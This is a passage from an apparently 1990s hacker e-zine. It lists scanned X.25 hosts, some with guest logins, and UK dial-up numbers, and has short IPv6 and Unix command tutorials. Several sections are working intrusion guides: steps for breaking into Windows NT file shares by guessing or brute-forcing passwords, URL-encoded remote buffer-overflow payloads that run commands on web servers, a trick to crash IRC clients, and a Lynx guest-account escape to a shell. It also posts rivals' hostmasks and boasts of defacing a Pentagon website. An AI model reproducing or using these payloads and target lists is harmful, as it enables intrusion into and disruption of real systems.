  1685. 9136233  Contact phones is 200 5382, 200 5935
  1686. 9136234  mshost!login:
  1687.  
  1688. 9136997  Registered users only. Anonymous access denied. login:
  1689.  
  1690. 9136173   =CREDO BANK=  Bldg. 2, 9 Sadovay Sukharevskaya St.
  1691.  
  1692. 9136311  Telecommunication system of the
  1693. 9136316  State Tax Service of Russian Federation
  1694. 9136368  23, Neglinnaya str, Moscow.
  1695. 9136369  X.25    0250021500600
  1696. 9136284  ENTER YOUR NAME =>
  1697. 9136313  PASSWORD =>
  1698.  
  1699. 9136958  The system's name is globex.
  1700.          Welcome to USL UNIX System V Release 4.2 Version 1
  1701.  
  1702. 9136953  +++e3td|t63@EBwN,(qECKt3BY0C4x
  1703.  
  1704. 9136232  Trying 10.31.11.4 ... Open
  1705. 9136242  ENTER YOUR NAME =>
  1706. 9136210
  1707.  
  1708. 9136304  BrakyTerm Mailer 0.01.9ESPM
  1709.  
  1710. 9136395  .!`. /.& +." bl!
  1711.  
  1712. 9136984  Russian Trading System (Telecommunication Center, Cisco 2511 1)
  1713. 9137236  User Access Verification
  1714. 9137228
  1715. 9137248  Russian Trading System (node MSK_NCC) port 11(0)@
  1716. 9137203  @
  1717. 9137224  @HELP
  1718. 9137211  @.uucp      connected
  1719. 9137218  @.CRT
  1720. 9137213
  1721. 9137243
  1722.  
  1723. 9136175  ~HM
  1724.  
  1725. 9136052  l'@kN,$?<~1!\_tj6Cv!DR})i@D@CrO0|6qZ73d<D19I%
  1726.  
  1727. 9138037  Welcome to Demos (hq 4.Demos.net)
  1728. 9138265  l/p: _demo/demo
  1729. 9138271
  1730.  
  1731. 9139495  B╞⌠ääCA╠╚ê╬╚╚ê╬╚╚Taîîî▐▄▄╠î
  1732.  
  1733. 9139604  The ITEPNet IP Router Nb.ITEP.RU
  1734.          Version: Telebit's Netblazer sft. 2.1
  1735.  
  1736. 9134302  ~?[∞
  1737.  
  1738. 9135062  DataX/FLORIN, Inc.   CISCO 2509 Router
  1739.          mitia@florin.ru  +7 (095) 158 9520 +++
  1740.  
  1741. 9135832  .
  1742.  
  1743. 9135870  User Access Verification
  1744.  
  1745. 9132097  ä«íα« »«ªá½«óáΓ∞ ó ΓѽѼ«ßΓ  akb Username:
  1746.  
  1747. 9139250  
  1748. 9139994  ÿ0
  1749.  
  1750.  
  1751. 9139279  Welcome to network  L CARD  Node  : l card.msk.ru
  1752.          Free entry: GUEST
  1753.  
  1754. 9132979  }T
  1755.  
  1756. 9138588  Network Access SW V1.5 for DS90M  (BL95 32)
  1757.          Please type HELP if you need assistance
  1758.          Enter username>
  1759.  
  1760. 9139773  INCOMHOST  
  1761.  
  1762. 9133598  Network Access SW V1.5 for DS700 08 (BL95 33)
  1763.          ElecsBank DS700 8 Communication Server
  1764.          BRAVO>
  1765.  
  1766. 9135815  p
  1767.  
  1768. 9139234  ì ┼╥╥ì
  1769.  
  1770. 9137270  ê¡Σ«α¼áµ¿«¡¡«Ñ áúÑ¡ΓßΓó« öÑñÑαá½∞¡«ú« éѬßѽ∞¡«ú« ä«¼á
  1771.          WWW cÑαóÑα: WWW.molot.ru
  1772.          àß½¿ éδ ¡Ñ ºáαÑú¿ßΓα¿α«óá¡δ, Γ« éáΦ login: guest (ú«ßΓ∞)
  1773.  
  1774. 9137166  Only for @MAIL (other NUAs do not work)
  1775.          Sprintnet Local  Dial-Ups 02501 & 03110 DNICs
  1776.          GlobalOne = Sprintnet = Telenet
  1777.          send "@D<enter>"
  1778.          send "d1<enter>" on TERMINAL= prompt
  1779.          type NUA on @ prompt (details http://207.222.215.67/x25.html)
  1780. 9139936  PPP for enterprise customers GlobalOne
  1781.  
  1782. 9133571  RosNet Dialup  02506 DNIC
  1783.          http://207.222.215.67/x25.html
  1784.          try 6100255 address
  1785.  
  1786. 9132376  Russia@Online DialUp 30 lines
  1787.  
  1788. 9138111  33.6 www.rinet.ru Login: guest
  1789.  
  1790. ───────────────────────────── X3(unknown) systems ────────────────────────────
  1791.  
  1792. 9135646  9138173  9136024  9138294  9138453  9136235  9137012  9137231
  1793. 9135705  9136093  9132252  9138365  9133551  9136046  9136082  9136235
  1794. 9136034  9136370  9136021  9133498  9133069  9133241  9133916  9133021
  1795. 9133918  9133398  9134009  9134239  9134425  9134421  9134422  9134094
  1796. 9134069  9134560  9134218  9134258  9135951  9135364  9135922  9135177
  1797. 9135088  9136457  9136498  9136239  9136185  9136139  9135381  9135705
  1798.  
  1799. ───────────────────────────────────────────────────────────────────────────────
  1800.   7. UK x.25 network numbers : Cold-Fire
  1801. ───────────────────────────────────────────────────────────────────────────────
  1802.  
  1803. AT&T Istel
  1804. ----------
  1805.  
  1806. 01224-582082     Aberdeen
  1807. 01224-580217     Aberdeen
  1808. 01970-611022     Aberystwyth
  1809. 01904-430404     York
  1810. 01522-512050     Lincoln
  1811. 01292-289595     Ayr
  1812. 01245-267167     Chelmsford
  1813. 01295-272828     Banbury
  1814. 01271-449281     Barnstaple
  1815. 01203-552092     Coventry
  1816. 01705-327575     Portsmouth
  1817. 01223-314594     Cambridge
  1818. 01232-661188     Belfast
  1819. 01232-661733     Belfast
  1820. 01533-750240     Leicester
  1821. 01527-584546     Redditch
  1822. 0121-478-0002    Birmingham
  1823. 01604-230734     Northampton
  1824. 0191-386-2822    Durham
  1825. 0117-279139      Bristol
  1826. 01202-530882     Bournemouth
  1827. 01392-217071     Exeter
  1828. 01742-729590     Sheffield
  1829. 01273-206733     Brighton
  1830. 01582-401887     Luton
  1831. 01273-820236     Brighton
  1832. 01733-555575     Peterborough
  1833. 01782-289866     Stoke-on-Trent
  1834. 01383-737557     Dunfermline
  1835. 01272-279138     Bristol
  1836. 012572-65571     Chorley
  1837. 0117-279808      Bristol
  1838. 01752-673352     Plymouth
  1839. 01532-424111     Leeds
  1840. 01223-323155     Cambridge
  1841. 01463-243411     Inverness
  1842. 0171-831-9097    London
  1843. 01227-450941     Canterbury
  1844. 01227-453502     Canterbury
  1845. 01892-515580     Tunbridge Wells
  1846. 01473-231631     Ispwich
  1847. 01422-330585     Halifax
  1848. 01962-844211     Winchester
  1849. 01222-460888     Cardiff
  1850. 01602-475161     Nottingham
  1851. 01634-815055     Chatham
  1852. 0181-965-7767    London
  1853. 0141-566-3334    Glasgow
  1854. 01452-307766     Gloucester
  1855. 01245-492460     Chelmsford
  1856. 01289-308668     Berwick
  1857. 01633-244456     Newport (Gwent)
  1858. 01302-340698     Doncaster
  1859. 01492-517111     Colwyn Bay
  1860. 01792-475533     Swansea
  1861. 01743-241631     Shrewsbury
  1862. 01734-351616     Reading
  1863. 01302-200636     Dundee
  1864. 01642-225226     Teeside
  1865. 01865-749555     Oxford
  1866. 0161-941-6319    Manchester
  1867. 01482-446444     Hull
  1868. 0151-691-1312    Liverpool
  1869.  
  1870. BT PSS Dialups
  1871. --------------
  1872.  
  1873. 01232-331284     Belfast
  1874. 0161-834-5533    Manchester
  1875. 0171-490-2200    London
  1876. 0151-255-0230    Liverpool
  1877. 0121-633-3474    Birmingham
  1878. 0117-211545      Bristol
  1879. 01492-860500     Llandudno
  1880. 01522-532398     Lincoln
  1881. 01639-641650     Neath
  1882. 0141-204-1722    Glasgow
  1883. 01533-628092     Leicester
  1884. 01463-711940     Inverness
  1885. 0171-283-9123    London
  1886. 0181-681-5040    London
  1887. 01889-576610     Rugeley
  1888. 01227-762950     Canterbury
  1889. 01539-561263     Sedgwick
  1890. 01424-722788     Hastings
  1891. 01228-512621     Carlisle
  1892. 0181-905-9099    London
  1893. 01532-440024     Leeds
  1894. 01865-798949     Oxford
  1895. 01245-491323     Chelmsford
  1896. 01654-703560     Machynlleth
  1897. 01733-555705     Peterborough
  1898. 01472-353550     Grimsby
  1899. 01752-603302     Plymouth
  1900. 01603-763165     Norwich
  1901. 01202-666461     Poole
  1902. 01793-541620     Swindon
  1903. 01270-588531     Crewe
  1904. 01772-204405     Preston
  1905. 01734-500722     Reading
  1906. 091-261-6858     Newcastle-on-Tyne
  1907. 01582-481818     Luton
  1908. 01872-223864     Truro
  1909. 01709-820402     Rotherham
  1910. 01895-846091     Warminster
  1911. 0131-313-2137    Edinburgh
  1912. 01926-451419     Leamington Spa
  1913. 01732-740966     Sevenoakes
  1914. 01602-506005     Nottingham
  1915. 01392-421565     Exeter
  1916. 01743-231027     Shrewsbury
  1917. 01273-550045     Brighton
  1918. 01422-349224     Halifax
  1919. 01703-634530     Southampton
  1920. 01242-227547     Cheltenham
  1921. 01823-335667     Taunton
  1922. 01597-825881     Llandrindod Wells
  1923. 01553-691090     Kings Lynn
  1924. 01222-344184     Cardiff
  1925. 01642-245464     Middlesbrough
  1926. 01473-210212     Ipswich
  1927. 01223-460127     Cambridge
  1928. 01904-625625     York
  1929. 01224-210701     Aberdeen
  1930.  
  1931. Sprintnet
  1932. ---------
  1933.  
  1934. 0171-973-1030    London
  1935.  
  1936. Tymnet
  1937. ------
  1938.  
  1939. 0131-313-2172    Edinburgh
  1940. 0181-566-7260    London
  1941. 01223-845860     Cambridge
  1942. 0117-255392      Bristol
  1943. 01232-234467     Belfast
  1944.  
  1945. ───────────────────────────────────────────────────────────────────────────────
  1946. ===============================================================================
  1947. ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
  1948. ===============================================================================
  1949. ───────────────────────────────────────────────────────────────────────────────
  1950.   1. A short introduction to IPv6 : so1o
  1951. ───────────────────────────────────────────────────────────────────────────────
  1952.  
  1953. IPv6 is described in detail in RFC 1884, It is commonly noted as the "Next
  1954. Generation Internet Addressing System", IPv4 had some shortcomings that became
  1955. obvious once the internet had grown substantially in size and complexity, the
  1956. main factor was that IPv4 used 32-bit address sizes, whereas IPv6 can allocate
  1957. 128-bit addresses..
  1958.  
  1959. IPv6 address representation is much like that of IPv4, because the addresses
  1960. are represented in strings of digits divided by seperators, but IPv6 addresses
  1961. differ in that they take the form nn:nn:nn:nn:nn:nn:nn:nn, where each nn
  1962. represents the hexidecimal form of 16 bits of address. IPv6 also differs in
  1963. more complex ways, but this is just an introduction...For the full details
  1964. see RFC 1884.
  1965.  
  1966. IPv6 has identified 3 types of address, these are unicast, multicast and
  1967. anycast, here is a neat ascii diagram to explain the 3 different types...
  1968.  
  1969. Unicast :
  1970. ---------
  1971.                                                  Host 1
  1972.                                            
  1973.                                                  Host 2
  1974.                                      
  1975.       IP Packet -------------------------------> Host 3
  1976.                                        
  1977.                                                  Host 4
  1978.                                            
  1979.                                                  Host 5
  1980.  
  1981. Multicast :
  1982. -----------
  1983.                                                  Host 1
  1984.                                            
  1985.                                         /------> Host 2
  1986.                                       /    and
  1987.       IP Packet -------------------------------> Host 3
  1988.                                       \    and
  1989.                                         \------> Host 4
  1990.                                            
  1991.                                                  Host 5
  1992.  
  1993. Anycast :
  1994. ---------
  1995.                                             /--> Host 1
  1996.                                           /  or
  1997.                                         /------> Host 2
  1998.                                       /      or
  1999.       IP Packet -------------------------------> Host 3
  2000.                                       \      or
  2001.                                         \------> Host 4
  2002.                                           \  or
  2003.                                             \--> Host 5
  2004.  
  2005.  
  2006.  
  2007. So thats basically whats so neat about IPv6, if you want to know the formats
  2008. for the unicast, multicast and anycast addresses, then read RFC 1884.
  2009.  
  2010. Summary..
  2011. ---------
  2012.  
  2013. IPv6 offers a more permenant solution, as it incorporates flexible address
  2014. space, as well as support for accessing the public internet and private
  2015. IP-based networks from the existing enterprise LANs and WANs.
  2016.  
  2017. so1o
  2018.  
  2019. ───────────────────────────────────────────────────────────────────────────────
  2020.   2. Newbie sk00l : so1o
  2021. ───────────────────────────────────────────────────────────────────────────────
  2022.  
  2023. This time we will learn how to use the find and cat commands effectively..
  2024.  
  2025. cat
  2026. ===
  2027.  
  2028. usage    :  cat [options] [files]
  2029.  
  2030.  
  2031. options  :
  2032. ----------
  2033.  
  2034.             -e       :  Print a $ to mark the end of each line
  2035.             -n       :  Print the number of the output line to the lines
  2036.                         left; start with 1
  2037.             -s       :  Squeeze out extra blank lines
  2038.             -t       :  Print each tab as I^ and each form feed as L^
  2039.             -v       :  Show control and nonprinting characters
  2040.             -a       :  same as -vet
  2041.  
  2042. examples :
  2043. ----------
  2044.  
  2045.             cat ch1                     : display a file
  2046.             cat ch1 ch2 ch3 > all       : combine files to form 'all'
  2047.             cat note5 >> notes          : append note5 to the notes file
  2048.             cat note5 > notes           : overwrite notes with note5
  2049.             cat > temp1                 : create a file, end with EOF
  2050.             cat > temp2 << STOP         : create a file, end with STOP
  2051.  
  2052.  
  2053. find
  2054. ====
  2055.  
  2056. usage    :  find [pathnames] [conditions]
  2057.  
  2058.  
  2059. examples :
  2060. ----------
  2061.  
  2062.   find $HOME -print                        : lists files and subdirectories in
  2063.                                              your home directory.
  2064.  
  2065.   find /work -name letter -print           : looks for letter starting its
  2066.                                              scan in the /work directory
  2067.  
  2068.   find /work -name 'memo*' -user ann       : looks for any files beginning
  2069.                                              with memo, owned by ann
  2070.  
  2071.   find / -size 0 -ok rm {} \;              : looks for, and removes all files
  2072.                                              that are 0 bytes, prompts you
  2073.                                              before removal
  2074.  
  2075.  
  2076. One very good book with such commands in, that I recommend, is...
  2077.  
  2078.         Linux In A Nutshell
  2079.         Jessica Hekman
  2080.         O'Reiley
  2081.  
  2082.         ISBN 1-56592-167-4
  2083.  
  2084.         US $19.95
  2085.        CAN $28.95
  2086.  
  2087. so1o
  2088.  
  2089. ───────────────────────────────────────────────────────────────────────────────
  2090.   3. Windows NT filesharing basics : chameleon
  2091. ───────────────────────────────────────────────────────────────────────────────
  2092.  
  2093. Now to you NT gurus this is all very basic but since most of you are
  2094. Unix hackers you probably dont know shit about windows. It is a must
  2095. to start learning Windows now (heh -so1o). NT is getting big. More and
  2096. more each day people are starting to use it. Yes I agree I hate NT
  2097. and love a good 'ole Unix box but we must keep up with technology.
  2098. NT is widely used even by places like the Pentagon. (*cough* it was
  2099. easy to hack *cough*)
  2100.  
  2101. Ok class lets start...
  2102.  
  2103. Say you have an IP address that you want to try and get access to
  2104. you would do this...
  2105.  
  2106. Example for IP address: 194.8.235.73
  2107.  
  2108. Note: Use IP addresses because the name address sometimes wont work
  2109.       and the IP will so use IP addresses.
  2110.  
  2111. Drop to dos...
  2112.  
  2113.    c:\windows> nbtstat -A 194.8.235.73
  2114.  
  2115.           NetBIOS Remote Machine Name Table
  2116.  
  2117.       Name               Type         Status
  2118.    ---------------------------------------------
  2119.    MAILGATE       <00>  UNIQUE      Registered
  2120.    MAILGATE       <03>  UNIQUE      Registered
  2121.    MAILGATE       <1F>  UNIQUE      Registered
  2122.    MAILGATE       <20>  UNIQUE      Registered
  2123.    ..__MSBROWSE__.<01>  GROUP       Registered
  2124.    MIRAGE         <00>  GROUP       Registered
  2125.    MIRAGE         <1D>  UNIQUE      Registered
  2126.    MIRAGE         <1E>  GROUP       Registered
  2127.  
  2128.    MAC Address = 00-00-00-00-00-00
  2129.  
  2130.    ---------------------------------------------------------------------
  2131.    |Note: this will list the remote hosts name. The name is set in the | 
  2132.    |control pannel/networking/indentification/computername.            |
  2133.    ---------------------------------------------------------------------
  2134.  
  2135. Now that you have the computer name you need to tell windows the IP that
  2136. maps to that computer name.  So to do this you need to edit
  2137. c:\windows\lmhosts open it in notepad or whatever. It will look like this...
  2138.  
  2139. 127.0.0.1       localhost
  2140.  
  2141. you want to add the ip 194.8.235.73 and then press tab and enter the
  2142. computer name. so the new hosts file will look like this. 
  2143.  
  2144. 127.0.0.1       localhost
  2145. 194.8.235.73    MAILGATE
  2146.  
  2147. This sets up a computer name mapping to the IP address of the computer
  2148. to try and get into its filesharing. Save this and then click your Start
  2149. Button then goto find, then computer, then enter the computer name and it
  2150. will connect to that computer name that you added into the hosts file.
  2151. It should show the computer as being found. Double click it and then if
  2152. your lucky it wont have a password but if you aren't you will be prompted
  2153. for a password which you will have to try and guess or use a brute force
  2154. cracking program.
  2155.  
  2156. Solar Designer also coded and distributed some Windows NT and 95 remote
  2157. buffer overflows, here are his 2 main examples...the URL's have been
  2158. split into seperate lines so we can see them :
  2159.  
  2160. -- WinNT (any version?):
  2161.  
  2162. http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
  2163. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A
  2164. %06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10%
  2165. FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy
  2166. _\WebSite\readme.1st_\WebSite\htdocs\x1.htm
  2167.  
  2168. -- Win95 (the release version only, will crash others!):
  2169.  
  2170. http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
  2171. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A
  2172. %06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0
  2173. 3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocs\
  2174. x1.htm
  2175.  
  2176. You can change the commands in each case, using _ instead of a space.
  2177.  
  2178. Note that the server should respond to these exploits with an
  2179. "Error: no blank line separating header and data", because of the
  2180. "1 file(s) copied" message appearing without a blank line before it
  2181. (which is required for HTTP; if you need a command's output, you can
  2182. redirect it to a file, and get that file via HTTP with a separate request).
  2183.  
  2184. Hope this was a little help. If not at least you know how to use windows
  2185. file sharing...
  2186.  
  2187. Anyone good at coding in windows? Wanna code a brute force hacking program
  2188. for windows file sharing? E-Mail me...
  2189.  
  2190. The Chameleon
  2191.  
  2192. Chameleon@intercore.com.ar
  2193.  
  2194. InterCore Security Corp.
  2195.  
  2196. http://chameleon.core.com.ar
  2197. http://www.intercore.com.ar
  2198.  
  2199. ───────────────────────────────────────────────────────────────────────────────
  2200.   4. BitchX / crackrock bug : so1o / Shok
  2201. ───────────────────────────────────────────────────────────────────────────────
  2202.  
  2203. This is another bug along the lines of the one that causes BitchX clients to
  2204. segfault if a particular mode is set in a channel..
  2205.  
  2206. The bug was originally found by Shok, it's just a quick thing, nothing special,
  2207. just for novelty value really, this is what you do...
  2208.  
  2209.     1) join a channel with a { character in the name
  2210.     2) set the topic to something with more than 20 characters
  2211.  
  2212. Now, if anyone using BitchX and crackrock joins your channel, they will
  2213. segfault and quit, in tests however, this showed to sometimes take a short
  2214. while (usually about a minute) before they quit..
  2215.  
  2216. ───────────────────────────────────────────────────────────────────────────────
  2217.   5. Nifty Lynx trick : Electric Nectar
  2218. ───────────────────────────────────────────────────────────────────────────────
  2219.  
  2220. Ok so you're trying to get a valid account on a server for whatever
  2221. reasons. (busting root, taking a look around, etc.) You've tried telneting
  2222. to port 79, 25, and got a couple valid accounts, and have tried hopelessly
  2223. to just guess the passwords. This is not the approach to take. 
  2224.  
  2225. Throughout my experience, while trying to gain a valid account on
  2226. various servers, I've run into many that run a guest lynx account. 
  2227. The purpose of this account is just what it sounds like, it gives no access
  2228. to the server itself, but rather let's you only run lynx (a unix-based, text only,
  2229. web browser). The account is designed to be accessed by outsiders.  The most 
  2230. common lynx login's and passwords are:
  2231.  
  2232.     -lynx/lynx
  2233.     -guest/guest
  2234.     -guest/lynx
  2235.     -www/wwww
  2236.     -www/lynx
  2237.  
  2238. Ok well I think you get the idea, be creative if one doesn's work.  
  2239. First off though, you need to make sure the account exists.  Simply telnet
  2240. to port 79, and try typing in a possible lynx account name. If it varifies it
  2241. your set.  Now if 79 isn't open, just telnet to port 25, and type
  2242. 'vrfy username'; username being the name of a guest lynx account.  This too 
  2243. will varify the account. Here's an example...
  2244.  
  2245. Finger:
  2246.  
  2247.     Trying...
  2248.     Connected to host.com
  2249.     Escape character is '^]'.
  2250.     lynx
  2251.     Login name: lynx                  In real life: Lynx Guest Account
  2252.     Directory: /home/lynx             Shell: /usr/bin/lynx
  2253.     No Plan.             
  2254.  
  2255. Smtp:
  2256.  
  2257.     Trying...
  2258.     Connected to host.com
  2259.     Escape character is '^]'.
  2260.     220 host.com ESMTP Sendmail 8.8.5/8.8.2; Fri, 3 Oct 1997 19:53:40 - 0400
  2261.     vrfy lynx
  2262.     252 <lynx@host.com> 
  2263.  
  2264.  
  2265. Now remember, a lynx guest account isn't a common thing on most
  2266. servers, although I have seen it on quite a few.  This is just an alternate
  2267. plan of getting a shell on an otherwise, unaccessable server, if the situation
  2268. exists. If you cannot validate a guest lynx account, don't be surprised.
  2269.  
  2270. Next order of business is to login of course.  It should be fairly
  2271. simple. Since it is a guest lynx account, the login and password should be
  2272. somewhat obvious, usually the password is the same as the login....
  2273.  
  2274.  
  2275. $ telnet host.com
  2276. Trying...
  2277. Connected to host.com
  2278. Escape character is '^]'.
  2279.  
  2280. Linux 2.0.29 (host.com) (ttyp0)
  2281.  
  2282.  
  2283. Welcome to Linux 2.0.29.
  2284.  
  2285. host login: lynx
  2286. Password:
  2287. Linux 2.0.29.
  2288. Last login: Fri Oct  3 17:11:59 on ttyp0 from ppp1.host.com
  2289. You have new mail.
  2290.  
  2291. ...Ok, your terminal should look something like this...
  2292.  
  2293. ----------------------------------------------------------------------------
  2294.  
  2295.                                     Lynx
  2296.  
  2297.  
  2298.                (default page crap here)
  2299.  
  2300.  
  2301.  
  2302.      _________________________________________________________________
  2303.  
  2304. -- press space for next page --
  2305.   Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  2306.  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
  2307.                                                                    
  2308. -----------------------------------------------------------------------------
  2309.  
  2310. ...Now the following trick is something I developed after several 
  2311. minutes of devising a plan to make lynx pop me into a shell.  Now that you
  2312. are in lynx, hit 'O' for the options menu. Ok the options menu should come up,
  2313. let's take a look at it...
  2314.  
  2315. -----------------------------------------------------------------------------
  2316.  
  2317.               Options Menu (Lynx Version 2.6)
  2318.  
  2319.      E)ditor                      : NONE
  2320.      D)ISPLAY variable            : NONE
  2321.      B)ookmark file               : lynx_bookmarks.html
  2322.      F)TP sort criteria           : By Filename
  2323.      P)ersonal mail address       : NONE
  2324.      S)earching type              : CASE INSENSITIVE
  2325.      display (C)haracter set      : ISO Latin 1
  2326.      Raw 8-bit or CJK m(O)de      : ON
  2327.      preferred document lan(G)uage: en
  2328.      preferred document c(H)arset : NONE
  2329.      V)I keys                     : OFF
  2330.      e(M)acs keys                 : OFF
  2331.      K)eypad mode                 : Numbers act as arrows
  2332.      li(N)e edit style            : Default Binding
  2333.      l(I)st directory style       : Mixed style
  2334.      sho(W) dot files             : OFF
  2335.      U)ser mode                   : Novice
  2336.      user (A)gent                 : Lynx/2.6  libwww-FM/2.14
  2337.  
  2338.   Select capital letter of option line, '>' to save, or 'r' to return to Lynx.
  2339.  
  2340. -----------------------------------------------------------------------------
  2341.  
  2342. Notice the E)ditor option. That's what we're after. The purpose of it is to
  2343. edit the file currently open in lynx with the supplied text editor.  Lynx
  2344. usually expects you to put in something like joe, pico, vi, etc.  But we can
  2345. supply anything we want, and it will use it with the syntax:
  2346.  
  2347.     [editor] <file open in lynx>
  2348.  
  2349. Ok, here's where we get inovative. Hit 'E' to type in an editor. For the
  2350. editor, type: exec. Ah yes, those of experience are now starting to nod
  2351. their heads. Now hit 'shift+period key' or '>' to save the options. You
  2352. now return to the default screen.  Next step. Hit 'g'. You will be prompted
  2353. to enter a URL. For the URL put the following:
  2354.  
  2355.     file://localhost/bin/sh
  2356.  
  2357. If all goes according to plan, /bin/sh will open as binary garbage
  2358. in lynx. Now, normally if you hit 'e' with a default text editor set in
  2359. the options menu, it would edit /bin/sh as a text file. But thanks to our 
  2360. little exec fix, it will now exec /bin/sh. And we all know what that does:
  2361. pops us into a bash shell! Here's an example of the act in progress...
  2362.  
  2363. -----------------------------------------------------------------------------
  2364.  
  2365. ELF4≡?4 (444  ╘╘╘ΘΘΘyy╠H¼[─1─┴─┴/lib/ld-linux.so.1j5H[&mU dao   Qx")Bs|Ng8LW+ST
  2366. eP{ut!i:@%`Mb9Aq7>=.~ZGFY/<Ccrz'*w,]RhO6X?(4
  2367. p\Jf2-
  2368. v^}1#k;lK_V3$E0nyID╕"╪C&─┴± /XY5Tpµ     <xΣN╕"T╚<["bH3kyu├xP~X"¿¬Φ&(═íH"⌐÷├¼╚"▓
  2369. Φ"╣°ß┴`º
  2370. ╟╪8╬⌠┐± Σ8 Θ°├∞╕g≤°<√X"
  2371. X┬ⁿ├$├4╕6:hA"HxcO@V<ⁿ-  \#e╪"kcs8╣{y ñí (""╚"íh"⌐╕B░H&╖(J┴╦8&╒¿"┌¿"Σ¿Mεh"·°"""h
  2372. Φ&%HM/h"48"9¿╫?XE<M╕"Y(C"`&"j├ v"~Φf"hc\┬ ╚"í8"⌐X"▒"╢"╜╕"├"╟°"╠"╙x"╪X"Γ"Ωx"∩"⌡"
  2373. ·°"Φ"H"╚"8""#¿"-╚"5H"?("D>O⌠├]╪Pc╕┬Toh"w"~╚&"`┬TΦ("X& Φ$½H@│ ├T╛h"┼°"╠╪"╘&"█°"Σ
  2374. ("φ╪G"÷╪b²xWx<"x<¿╠(F*l0j98tBK\┬R├_Tº± fT┬± mT┬± y4╒± libtermcap.so.2strcpyioct
  2375. ltgetnum_DYNAMICtgotogetenv__strtol_internalfgetsmemcpymalloctgetflag__environB
  2376. C_initwritestrcattputsstrncmpstrncpyreallocPCfopenfclosetgetent_finiatexit_GLOB
  2377. AL_OFFSET_TABLE_exitUPstrchrtgetstrfreelibc.so.5__ctype_b__ctype_tolower__ctype
  2378. _toupperbzerostrcmpgetpid_xstatgetcwdgetwdstrerrorfcntl_fxstatstrrchrenvironfnm
  2379. atchgeteuidgetuidgetgidgetegidkillpgtcflowtcgetpgrptcsetattrtcsetpgrpopensigact
  2380. ionsigaddsetsigprocmaskalarmclosegetdtablesizelongjmp__setjmpsigdelsetatoiatolq
  2381. sortbcopystrncatgethostnameisattytcgetattrsys_siglistwaitpidgetpeername_lxstate
  2382. rrnoclosediropendirreaddirreadaccesschdirdupdup2execveforkgetgroupsgetppidkilll
  2383. seekpipesetgidsetuidtimesumaskunlinkgetpgrpgetrlimitsetpgidsetrlimittime__setfp
  2384. -- press space for next page --
  2385.   Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  2386. bash$  O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
  2387.                         
  2388. -----------------------------------------------------------------------------
  2389.  
  2390. ...If you look in the very bottom left corner you will see it! (bash$)
  2391. A simple 'clear' command will get rid of the rest of that mess. Often times the
  2392. TERM setting will be all messed up. Simply fix that by typing:
  2393.  
  2394.     TERM=vt100 export TERM
  2395.  
  2396. And there you have it folks! a bash shell popped off of a lynx guest
  2397. account. Now feel free to look around, run a few exploits, whatever, what you
  2398. do beyond here is totally up to you. Hope you enjoyed today's little lesson, 
  2399. and I hope you get a chance to put it to work sometime. Take it easy all.
  2400.  
  2401. ───────────────────────────────────────────────────────────────────────────────
  2402.   6. No-more negative : so1o
  2403. ───────────────────────────────────────────────────────────────────────────────
  2404.  
  2405. Over the last few months, starting roughly in April 1997, myself, D-Storm and
  2406. a few others have been playing around with sIn (lame Windows coding group,
  2407. think they're all big and bad, when they are really quite cl00le$$), we
  2408. found out certain members names and addresses, as well as hacking their
  2409. website in August - www.sinnerz.com (as promised back in April by myself),
  2410. the hack is documented at www.hacked.net under the August exploited section.
  2411. In a way, this has lead to a handful of their members leaving the group
  2412. after realising how much they are hated, as well as their webpage being taken
  2413. down due to the fact that lameass LordSomer hacked it after we did, so it's
  2414. not all dandy in the lame world of sIn after all, its all falling apart at
  2415. the seams..
  2416.  
  2417. So we have decided that from now on, we won't waste our time with this dead
  2418. group, they have been proven beyond all doubt to be the lame and weak, and
  2419. now it's time to let them rest in peace, we have set out what we intended to
  2420. do, and now it's over, we proved our point in the end.
  2421.  
  2422. Fucking Hostile and The Banshee and are the only real members of sIn still
  2423. around, they keep changing their nicks on irc to hide their identity, so
  2424. we have decided to post their hostmasks, as a final reminder, that they
  2425. will never be forgotten as the fools they were proven to be..
  2426.  
  2427. Fucking Hostile             :    *!hostile@*.qni.com
  2428. The Banshee                 :    *!bob@*.accessmd1.dataplace.net
  2429.  
  2430. so1o
  2431.  
  2432. ───────────────────────────────────────────────────────────────────────────────
  2433. ===============================================================================
  2434. ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
  2435. ===============================================================================
  2436. ───────────────────────────────────────────────────────────────────────────────
  2437.   1. Pentagon hacked : so1o
  2438. ───────────────────────────────────────────────────────────────────────────────
  2439.  
  2440. chameleon of the carparts crew (#carparts on undernet), used his elite Windows
  2441. NT tekneeqs to break into, and modify the .html on...
  2442.  
  2443. http://www.pentagon-ai.army.mil
  2444.  
  2445. The details of the hack are fully documented on www.hacked.net, under the
  2446. October exploited section, notice the greet to CodeZero, heh.
  2447.  
  2448. ───────────────────────────────────────────────────────────────────────────────
  2449. ===============================================================================
  2450. ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
  2451. ===============================================================================
  2452. ───────────────────────────────────────────────────────────────────────────────
  2453.   1. TOTALCON '98 : so1o
  2454. ───────────────────────────────────────────────────────────────────────────────
  2455.  
  2456. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2457.                          http://www.aom.co.uk/total/
  2458. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  2459.   +------------------------------------+------------------------------------+
